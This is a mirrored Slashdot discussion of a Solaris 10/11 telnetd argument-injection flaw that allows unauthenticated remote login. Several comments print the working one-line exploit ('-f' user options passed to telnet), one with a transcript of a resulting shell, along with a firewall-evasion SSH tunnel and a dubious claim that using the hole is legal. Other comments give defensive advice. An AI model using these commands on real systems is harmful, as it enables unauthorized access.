Slashdot Mirror


Solaris Telnet 0-day vulnerability

philos writes "According to SANS ISC, there's a vulnerability in Solaris 10 and 11 telnet that allows anyone to remotely connect as any account, including root, without authentication. Remote access can be gained with nothing more than a telnet client. More information and a Snort signature can be found at riosec.com. Worse, this is almost identical to a bug in AIX and Linux rlogin from way back in 1994."

57 of 342 comments (clear)

  1. Why is this a big deal? by nettdata · · Score: 5, Insightful

    Who the hell even THINKS about enabling telnet on any box these days?

    --



    $0.02 (CDN)
    1. Re:Why is this a big deal? by Minwee · · Score: 2, Interesting

      Well, according to TFA, nobody should.

    2. Re:Why is this a big deal? by TheGratefulNet · · Score: 3, Insightful

      nothing WRONG with telnet. I use it all the time.

      but ONLY on trusted lans, of course.

      I find it quicker than ssh logins. of course its quicker, it has no encryption to do. and the initial seeding (at connect time) also takes a LONG time on some boxes (ssh to a cisco box; come back after lunch and you'll get your login prompt).

      telnet over a wan is dumb. telnet over a 10' piece of wire is NOT dumb.

      telnet has its place.

      --

      --
      "It is now safe to switch off your computer."
    3. Re:Why is this a big deal? by drsmithy · · Score: 3, Informative

      Who the hell even THINKS about enabling telnet on any box these days?

      Sun, apparently, since it's enabled by default.

    4. Re:Why is this a big deal? by imikem · · Score: 5, Funny

      Relevant line from /etc/services:

      telnet 23/tcp imadumbass hackmenow rootrus rotflmao

      --
      Perscriptio in manibus tabellariorum est.
    5. Re:Why is this a big deal? by teslar · · Score: 5, Funny

      I do. And then I sit down naked in the snow and castigate myself with a 9-tail as a punishment for these impure thoughts.

      Having said that, today is a good day to find out if that head of IT you never liked anyway has telnet enabled on one of his Solaris machines :)

    6. Re:Why is this a big deal? by SatanicPuppy · · Score: 3, Insightful

      Telnet is dumb! Quicker than SSH? What the hell? Are you streaming video over your SSH connection or what? Most sane people just use it for a remote console, and speed isn't much of an issue in those circumstances...

      Opening/enabling telnet is a mistake. Even if you're using it safely, which, in my mind, is across a hub that isn't connected to anything else but the two computers you're talking to you've still got that port open and vulnerable. Using it on a LAN is just begging someone with a packet sniffer to come along and steal your user info.

      --
      ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
    7. Re:Why is this a big deal? by walt-sjc · · Score: 2, Insightful

      If ssh on your cisco boxes is slow, you either have serious network problems or your cisco box has been end-of-life for 10 years. If you don't practice security inside your network, you are asking for trouble. Perimeter-only security is Sooo 1990. Time to join the next century.

    8. Re:Why is this a big deal? by Nasarius · · Score: 3, Informative

      Quicker than SSH? What the hell? Are you streaming video over your SSH connection or what?
      I think GP is referring to the initial connect handshake. Oh no, it takes an extra 500ms to establish a secure connection. If your network is private enough to feel safe using telnet, you can certainly set up RSA/DSA keys to use SSH without a password, eliminating the time it takes to enter it.
      --
      LOAD "SIG",8,1
    9. Re:Why is this a big deal? by bockelboy · · Score: 4, Interesting

      Let me take a crack at this:

      1) Fermi National Accelerator Laboratory.

      That'll account for a couple thousand computers. It's left as an exercise for the reader to find other sites.

      Are they just crazy? I know that almost every single box at FNAL has the telnet daemon running, and is behind no firewall. Why aren't they hacked-to-death? Kerberos.

      FNAL has a policy that every service beyond central IT's web pages is protected by Kerberos. The Kerberos-enabled version of telnet is as secure as one can get; I've been told by their sysadmins that it is more secure than SSH because it is simpler and the network and authz/authn stacks are separated. So, historically, Kerberos-enabled telnet has had less bugs than SSH.

      Just because YOU don't run telnet (or don't know how to run it securely) doesn't mean that there aren't thousands of boxes out there that are secured by it.

      If there are actually any Sun boxes at FNAL (they were one of the original big adopters of Linux), you can bet they'll probably be turned off today...

    10. Re:Why is this a big deal? by SatanicPuppy · · Score: 2, Informative

      Well, the encryption will still add a level of overhead to your packet traffic, so the whole thing will be "slower" but, from experience, you can play Zangband in either one and you'll still have to turn the key delay way up to keep it from getting you killed, and that's about the most bandwidth intensive application I've ever run in ssh that could have been run just as well in telnet.

      --
      ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
    11. Re:Why is this a big deal? by SatanicPuppy · · Score: 2, Informative

      Just to nitpick, nothing is secured by telnet. Just because the login is "safe" doesn't mean that using an unencrypted protocol is ever a good idea.

      --
      ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
    12. Re:Why is this a big deal? by mi · · Score: 5, Insightful

      If ssh on your cisco boxes is slow, you either have serious network problems [...]

      Most likely, the reverse DNS is misconfigured. This is the number one reason for ssh-login delays. Maybe, the nameservers initially put into the router's configuration are no longer reachable due to subsequent "hardening". Or, maybe, they went away and were replaced long ago — without anybody telling the routers. Nothing else on a router uses DNS usually, so this problem affects only ssh-daemon and gets blamed on it...

      The daemon could, of course, be a little bit smarter and not try to do a reverse DNS, when there are no hostname-based authorization rules in the first place... But that's a minor bug compared to reverse DNS being dysfunctional.

      --
      In Soviet Washington the swamp drains you.
    13. Re:Why is this a big deal? by dknj · · Score: 5, Informative

      except it's not... (at least not as of the 10/06 release)

    14. Re:Why is this a big deal? by ePhil_One · · Score: 2, Interesting
      It may take _that_ long on a sparc box, but stick some nice amd opterons in there and you'll never even notice.

      Thats nice and all, but I believe the GP was referring to systems w/ embedded processors, where thast not an option, and I also think he was whining about the initial key gereation (that first time you set it up process), which can take a bit of time on embedded processors. As an example, the Pix 515 has a lowly Pentium 166 at its core, the heavy math of calculating big primes can take a while. Then again, there's still some equipment out there that doesn't support SSH, only telnet.

      None of which applies to TFA, which deals with using Telnet to access SUN servers/workstations, I agree there no reason that should be left on and it mystifies me that it continues to be the default for the big commercial Unixes (Both AIX and Solaris seem to want to use it by default, you have to enable SSH and turn off Telnet intentionally.

      --
      You are in a maze of twisted little posts, all alike.
    15. Re:Why is this a big deal? by Zan+Lynx · · Score: 2, Informative

      I know of at least one large site that uses telnet and other unencrypted protocols. They do use password + token encrypted authentication, but that is the exception. Their security policies are Orwellian. Their IDS watches everything. Encrypted sessions are assumed to be evil, and are hunted down and killed. The rest is matched against statistical usage patterns and off-pattern usage is popped up to a security administrator with a complete session trace.

      That is all internal of course. Off-site access is through VPN.

      All of this could not be easily done with encrypted protocols.

    16. Re:Why is this a big deal? by 99BottlesOfBeerInMyF · · Score: 5, Informative

      Who the hell even THINKS about enabling telnet on any box these days?

      Sadly, a whole lot of people. I work for a company that makes very expensive and cool specialty servers that perform certain security related functions. As a security company, naturally we take care not to tarnish our reputation by leaving these servers vulnerable themselves. We try to encourage our customers to be moderately responsible as well, as any box can be made insecure. I know of at least on tier-1 ISP that has one of our boxes sitting publicly accessible with telnet enabled and no IP access restrictions.

      As for who uses telnet in general, most ISPs in Asia seem to use telnet to configure their systems via their control networks. Large financial institutions in Europe use telnet, as use of encryption is restricted on their trusted networks, for reasons of transparency to the stock regulating authorities. ISPs in South America often use telnet and provide shell accounts to customers. I'm sure there are more groups that use it for one reason or another.

    17. Re:Why is this a big deal? by SatanicPuppy · · Score: 3, Insightful

      Sounds like they're more interested in watching their own employees than in securing their systems from external threats.

      If it were me I'd just log everything in every session (which is easy), and make the users use SSH. That way you can audit everything they do, every command they type, but still have a level of security. You have to remember that any user can sniff telnet traffic on the network, so forcing everyone to use telnet because you don't trust them means the ones who are untrustworthy have a better chance of stealing something useful from a coworker.

      Even better would be to hire trustworthy people and treat them as such in the absence of evidence to the contrary.

      --
      ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
    18. Re:Why is this a big deal? by udippel · · Score: 2, Informative

      Whatever the SUNny fanboys have / had to say:
      Only in Solaris 10 11/06 was it disabled, and only if SBD was selected.
      This sheds a wholly new light on 'Secure By Default':
      Disabling telnet ! Yahoo ! - if SBD is set.

    19. Re:Why is this a big deal? by TheGratefulNet · · Score: 2, Informative

      its NOT 500ms on my cisco boxes.

      admittedly, they'd old 'test' junker boxes that I use for netmgt testing. I had to write some expect style scripts to login to them, throw a command, get the buffer output, parse it and disconnect. for each kind of 'thing' I wanted to remotely retrieve.

      it took over 20 secs, on SOME cisco boxes, to get a ssh prompt back.

      quite unacceptable.

      then I used telnet and it was almost instant.

      again, if you secure your lan (my 10' piece of PRIVATE WIRE) there is NOTHING wrong with telnet. nothing.

      people don't always need to lock EVERY door. if I own my own house, why the hell should I lock my bedroom door?? ;)

      use sense, people. the knee-jerk reaction to 'OMG!! telnet!!' is just absurd. if you use it in a private network, its fine.

      btw, I just tested that solaris exploit on my sun box at work and it did NOT log me into root. not sure if my box was already patched (another group maintains it) but the exploit did not log me into root.

      # uname -a
      SunOS myhost 5.10 Generic sun4u sparc SUNW,Sun-Blade-1500

      # uptime
          7:07am up 281 day(s), 22:51, 2 users, load average: 0.03, 0.20, 0.19

      otoh, with an uptime like that, I kind of doubt any patching was done... ;)

      --

      --
      "It is now safe to switch off your computer."
    20. Re:Why is this a big deal? by jaymzter · · Score: 3, Informative

      I have 11/06, and believe me, I was surprised to find telnet enabled.

      --
      If thou see a fair woman pay court to her, for thus thou wilt obtain love
    21. Re:Why is this a big deal? by arth1 · · Score: 3, Informative

      Since the exploit site didn't yet have information about older versions of Solaris/SunOS, I hope it can quench the panic for some when I say that only Solaris 10+ appears to be affected.

      If you're on Solaris 8 (SunOS 5.8 or Solaris 2.5.8) or 9 (SunOS 5.9, or Solaris 2.5.9), you appear to be safe.

      This is relevant because large companies seldom jump to the newer versions until they have to - for production systems, as long as the older versions are supported and working, that's more important than gambling on existing software still working if upgrading the OS. So there's an awful lot of systems with Solaris 8 and 9 out there, but luckily they appear not to be affected.

    22. Re:Why is this a big deal? by arth1 · · Score: 4, Insightful

      Vendor support for ssh is one factor. Many companies have aversions to installing software unless it's backed by FULL support from the vendor. Having to go to a third party, like F-Secure, to get vendor support is often undesirable, and unfortunately, security can lose to support requirements, service level agreements and response time. Even worse is that there's multiple and sometimes incompatible versions of SSH out there - what may come with one system isn't guaranteed to work with another.
      Can you get the OS vendor to jump and have a man there within 30 minutes to fix it if a supported OS function doesn't work? Yes. Can you get the OS vendor to jump and have a man there within 30 minutes if OpenSSH doesn't work? No. Sometimes it's as simple as that, unfortunately.

      That said, don't think that I believe telnet is a good substitute for ssh, but often, and especially in a turtled environment (hard on the outside, soft on the inside) where five nines are more important than internal security, it may still be a better choice, at least until all the OS vendors provide fully supported (and compatible!) versions of SSH.

    23. Re:Why is this a big deal? by bugnuts · · Score: 4, Insightful

      Security best practices are the same whether you're talking about securing your home network or a military network No. It's not. The only thing those have in common is considering what you are protecting, and how much risk you wish to take versus the convenience granted. The specifics are immaterial.

      The OP is right, he knows his risks and has deemed it acceptable. You and others, having no idea of the risk, deem it unacceptable and are the ignorant ones.
    24. Re:Why is this a big deal? by SatanicPuppy · · Score: 2, Insightful

      You are so wrong. The difference is, on the one hand, taking a risk for zero gain on an obsolescent standard, and on the other hand, using the application that is pretty much the standard for this type of communication! You keep acting like there is some kind of mystical benefit to using telnet, and there's just not. What are you guys using 2800 baud modems? What's the worst case with SSH? The encryption can be compromised...making it the same as fricking telnet!

      Hmmmm. Decisions, decisions, decisions.

      --
      ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
    25. Re:Why is this a big deal? by evilviper · · Score: 3, Informative

      Just because the login is "safe" doesn't mean that using an unencrypted protocol is ever a good idea.

      You're right... No more secure websites for you, since HTTPS is just HTTP over an SSL data stream.

      You could just as easily use Kerberos to encrypt HTTP traffic as SSL, and that is indeed exactly what Kerberos does for just about any communications protocol...

      Kerberos telnet is as encrypted as it gets.
      --
      Slashdot gets worse every day... Pipedot: News for nerds, without the corporate slant
    26. Re:Why is this a big deal? by SatanicPuppy · · Score: 2, Insightful

      1) Putty is free, stable, and easy to use.
      2) service telnetd stop;service sshd start
      3) Hitting "Y" one time is too much bother for you?
      4) Non-issue on all but the slowest hardware.
      5) I don't see how that is a benefit...

      --
      ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
  2. Re:Here come the fanboys by SatanicPuppy · · Score: 4, Informative

    Just because it's not deployed in many places, doesn't mean that those places aren't cracker dream targets...I've got 5 Solaris machines, and the least critical of them is a far better target than the most critical Windows, or even Linux box.

    Still, first poster is right. Wtf uses telnet anymore, unless they're dealing with the most legacy of legacy crap.

    --
    ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
  3. not an excuse by otacon · · Score: 4, Insightful

    "Nobody should be using it anyways" is not an excuse. If it is included, it should be held to the same standard as every other application. In some legacy cases I'm sure telnet is of some use. But regardless the fact that it has a practical use or not is irrelevant.

    --
    In a world of acronyms, the words are the real victims.
  4. Re:Telnet? by Anonymous Coward · · Score: 2, Informative

    Can anyone confirm if telnet is enabled by default on Solaris for new installs?

    It is on the 06/06 release of Solaris 10.

  5. the authors seem very confused ... by petes_PoV · · Score: 3, Insightful
    First they say there's a bug with telnet passing switches through to login.
    Then they start a tirade against sending passwords in the clear.
    After that they say the fix is not to use telnet.

    Putting aside the holier (more secure) than thou attitudes here about telnet security. I've got to say that not using something because it's broken is never a fix (unless you're a manager). The fix is to mend the problem. In the meantime, maybe, avoid the service. but bear in mind, someone still has to fix it.

    --
    politicians are like babies' nappies: they should both be changed regularly and for the same reasons
  6. Re:Telnet? by Anonymous Coward · · Score: 3, Informative

    Solaris 8, 9, 10 -- all have telnet, ftp, rlogin and others enabled by default at a clean install.
    You can check it for yourself in vmware, if you do not believe.

  7. 0-day? by Aladrin · · Score: 2, Interesting

    Maybe I'm just confused, but doesn't '0-day' mean the exploit was found the day the code in question was released?

    I generally don't follow Solaris, and 11 might have just come out, but I seriously doubt 10 and 11 both came out at the same time.

    --
    "If you make people think they're thinking, they'll love you; But if you really make them think, they'll hate you." - DM
    1. Re:0-day? by walt-sjc · · Score: 4, Informative

      No, zero day means that an exploit was released before or on the same day as the vendor / community found out about it. Ethical security researchers notify the vendor first, and at LEAST give them a few days / weeks to resolve the problem before releasing the full details to the public.

  8. Who uses telnet these days? by deevnil · · Score: 3, Funny

    towel.blinkenlights.nl, that's who.

  9. Re:OpenSolaris as a development model by pipatron · · Score: 2, Insightful

    The bad news is that we have no idea how long people have known about this problem...

    But in a closed development model we would have some magic insight in how long people have known about a flaw? I'm sorry, but I fail to see the drawbacks in this case.

    --
    c++; /* this makes c bigger but returns the old value */
  10. Re:Configuration issue by walt-sjc · · Score: 4, Informative

    Since apparently Sun is negligent enough to have telnet enabled by default, it is an important story. This reminds me of the old NT4 days, where every service on the machine was enabled by default, and the first thing you had to do was turn everything off. Come on Sun, get with program here...

  11. Re:Here come the fanboys by Rob+T+Firefly · · Score: 2, Insightful

    Wtf uses telnet anymore, unless they're dealing with the most legacy of legacy crap.
    I'll bet more of the IT-based Slashdotters than would like to admit are forced to support, or at least deal with, the most legacy of legacy crap now and then.
  12. Re:Is it a buffer overflow? by donicer · · Score: 2, Informative

    http://erratasec.blogspot.com/

    Its not a buffer overflow, its just unvalidated input.

  13. Re:Here come the fanboys by SatanicPuppy · · Score: 5, Informative

    Sure, but that's not what's being discussed. There is a world of difference between using telnet to fake some other non-encrypted protocol, and leaving the telnet service enabled on your machine.

    --
    ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
  14. The Exploit by biftek · · Score: 3, Informative

    Since noone seems to have bothered posting it yet, "telnet -l -frandomuser randomsolarishost".

    So stupid.

  15. Re:Configuration issue by zdzichu · · Score: 4, Informative

    The article talks about Solaris 10 u1 released in 2005. The latest thing is u3, which has two things:

    1) this attack does not work:

    Escape character is '^]'.
    Not on system console
    Connection closed by foreign host.

    2) when installing U3 one can opt to close most services. This could be also done after installation with "netservices limited" command.

    --
    :wq
  16. Didn't work on Solaris 10 01/06 by jaymzter · · Score: 4, Informative

    rhlinux1:~$ telnet -l"-froot" solaris
    Trying 172.16.141.27...
    Connected to solaris.example.com (172.16.141.27).
    Escape character is '^]'.
    Not on system console
    Connection closed by foreign host
    This is basically a vanilla install.
    --
    If thou see a fair woman pay court to her, for thus thou wilt obtain love
    1. Re:Didn't work on Solaris 10 01/06 by Anonymous Coward · · Score: 3, Informative

      telnet -l"-fbin" solaris

    2. Re:Didn't work on Solaris 10 01/06 by jaymzter · · Score: 2, Informative
      That did work. One correction however... I'm using Solaris 10 11/06, not 01/06

      rhlinux1:/09:01:01~$ telnet -l"-fbin" solaris
      Trying 172.16.141.27...
      Connected to solaris.jaymzworld.test (172.16.141.27).
      Escape character is '^]'.
      Sun Microsystems Inc. SunOS 5.10 Generic January 2005
      $ uname -a
      SunOS solaris 5.10 Generic_118855-33 i86pc i386 i86pc
      $ id
      uid=2(bin) gid=2(bin
      I ran the following to disable telnet
      inetadm -d svc:/network/telnet:default
      --
      If thou see a fair woman pay court to her, for thus thou wilt obtain love
  17. I just got this in my inbox from Microsoft by kentrel · · Score: 2, Funny
    To: You Unix Communists
    From: Steve Ballmer
    Subject: Pwned
    Body:
    Microsoft:1 - Unix: NIL LOLOLOLOLOLOL!!!!!!!111


    :)
    Love Steviepoo

  18. I run telnet.... by dnormant · · Score: 2, Informative

    While I'm upgrading openssl or ssh. It's a pain getting lock out of a server and having to resort to the console. And, I never forget to disable it when I'm done.

  19. Re:Configuration issue by moyix · · Score: 3, Informative

    This is only because root is not allowed to log in remotely by default. "-fanyotheruser" will still work. I believe the current favorite is "-fbin". Also, if you've commented out the console line in /etc/default/login, it will allow access to root.

    This has been confirmed on the latest version of Solaris 10.

  20. telnetd NOT on "by default" in Solaris 10 by BrianRoach · · Score: 2, Insightful

    When you install Solaris 10, you are prompted for how you want remote access to the box initially configured. This is done in phase 1 of the install, running off the install media.

    You can either turn on everything (telnetd, ftpd, etc, etc), or only have sshd running when the box comes up for the first time.

    So saying that telnetd is on "by default" isn't exactly correct, unless your definition of "by default" is "explicitly enabled".

    - Roach

  21. Re:Here come the fanboys by geoffspear · · Score: 2, Insightful

    If that MUD is using telnetd instead of using its own socket code, it may not be "the most legacy of legacy crap" but it's certainly the worst MUD software ever written.

    Although I suspect you just have no idea what you're talking about and it's not doing that.

    --
    Don't blame me; I'm never given mod points.
  22. Re:Configuration issue by AtariDatacenter · · Score: 2, Informative

    > Escape character is '^]'.
    > Not on system console
    > Connection closed by foreign host.

    Reason that message happened: You succesfully logged in as root. However, /etc/default/login specified that root logins may only be made from the console. Feel free to telnet in as any other user.

    And for the people saying, "OMG! Who uses telnet anymore?!?!", remember that with Solaris (at least up until my experience with 10), it comes out of the box with Telnet *enabled*. It isn't people who enabled telnet that are at risk. It is the people who didn't disable telnet (and other services) that at are at risk. Of course, those aren't going to be your best and brightest security people, and they may be slow on patches, so yeah, this is a big deal.

  23. Re:Here come the fanboys by annodomini · · Score: 2, Insightful

    The thing is, you can tunnel pretty much anything over anything, and telnet would be pretty easy to tunnel over. In fact, if you really wanted you could tunnel SSH over Telnet, and retain the encryption. So, there is absolutely no reason to leave Telnet unblocked and SSH blocked. Furthermore, in an institutional environment like a school, you could just not install SSH clients, and not give the students sufficient privileges to run their own, which is more effective than blocking particular ports. As long as the users can run arbitrary software, or an SSH client that's already installed, they can just use a different port for SSH to get around a firewall block.

    Basically, there is no way in which Telnet is more secure, and leaving a Telnet port open with an SSH port blocked will always harm security more than it will help.

  24. Re:Here come the fanboys by aymanh · · Score: 2, Informative

    erm... never used telnet to test mail|web|etc-server-connection?

    Not anymore, netcat is a better replacement for creating sockets. One of its advantages is the ability to listen to ports.
    --
    python>>> q="'";s='q="%c";s=%c%s%c;print s%%(q,q,s,q)';print s%(q,q,s,q)
  25. Re:Here come the fanboys by Matt+Perry · · Score: 2, Informative

    erm... never used telnet to test mail|web|etc-server-connection?

    Doing that uses a telnet client. This article is about a telnet server.
    --
    Slashdot: Failed Car Analogies. Amateur Lawyering. Anecdote Battles.
  26. Blocking ports- a poor excuse for packet shaping by Kadin2048 · · Score: 2, Insightful

    I hope you block ports 80 and 443, too, because otherwise it's still trivial to create an SSH session to the outside. All the enterprising student must do, is configure their (parents') home firewall, to forward outside port 80 to LAN port 22 on their PC. It's no more difficult really than just opening up port 22 bidirectionally. Then it's just "ssh -p 80 -D 8080 joestudent@mypc.dyndns.org"

    If you want to filter, get a packet shaper and stop using ports; all you do by blocking ports is encourage people to abuse port 80 and other well known service ports, and make diagnostics more difficult. Unless the goal is just to give the semblance of censorship while making it as easily avoidable as possible, which is arguably laudable, but in that case why bother to block port 22 in the first place.

    And before anyone makes the argument about blocking ports making it more difficult for 'casual' users, even a casual user is capable of reading Google, or asking a smarter user what to do. A few years ago, I witnessed what happened on a campus LAN when the admins inadvertently mis-configured the firewalls and blocked port 5190, which is used by AIM. Within twenty minutes, there were emails circulating which included screenshots and step-by-step instructions on how to change the AIM client to use port 80 instead. Hundreds, if not thousands of students, who didn't even know what port was, were able to follow one person's instructions and get around the problem. (It turns out it wasn't an intentional block, but just a mistake; however, the result was that half of the student machines ended up running AIM over port 80 forevermore.) It only takes one user with enough brains to read a manpage, and a desire to score some points with other students by showing them how to get around the block, to torpedo port-based blocking.

    --
    "Ladies and gentlemen, my killbot features Lotus Notes and a machine gun. It is the finest available."
  27. Re:Must not be evil ..... by Venik · · Score: 2

    The mere fact of using this telnet hole to gain root access does not constitute a violation of the Computer Misuse Act, as there is no unauthorized access. The beauty of this hole is that it uses only options offered by the standard telnet implementation for this OS. Essentially, this is not an exploit and there is no "hacking" involved. It's an opened door. An opened door on a public server may be viewed as an equivalent of access authorization.

  28. Re:MUDs ok? by fizbin · · Score: 2, Informative

    Short answer: yes

    Long answer: Even if there were a breach in the security of your mud, it would only allow access as the user running the mud daemon. Usually that isn't root. (with telnetd, of course, it usually is root)

    Longer answer: The specific vulnerability here covers the way that telnetd passes arguments to the program login. Specifically, it passes what telnetd thinks is a parameter, but login interprets the passed result as an option. Presumably, your MUD server isn't turning around and calling external programs with the login name of the user who just connected. Besides, almost all MUD servers ignore nearly all telnet options anyway.

    This illustrates one of the great big rules about secure unix programming: when invoking some other program with user-supplied arguments, always be very keenly aware that many programs interpret arguments beginning with "-" to mean "radically alter your behavior". Altered behaviors are usually bad news, security wise: in this case, the login program treats an argument beginning with "-f" to mean "no authentication required". One traditional way to avoid these problems is to pass an argument consisting of "--" before the user-supplied arguments; another way is to assume that anyone arranging for a user-supplied argument beginning with "-" is trying something bad, and simply refuse any such requests.

    As another example of this general principle, it used to be the case that many man2html gateways allowed users to pass arbitrary arguments to the man(1) command. Now, this did allow the convenience of passing "-k" as the section to do a search, but it also allowed the security nightmare of "-Pprogram" to run an arbitrary program on the target machine. You really don't want it to be possible for external users to pass arbitrary options to other programs.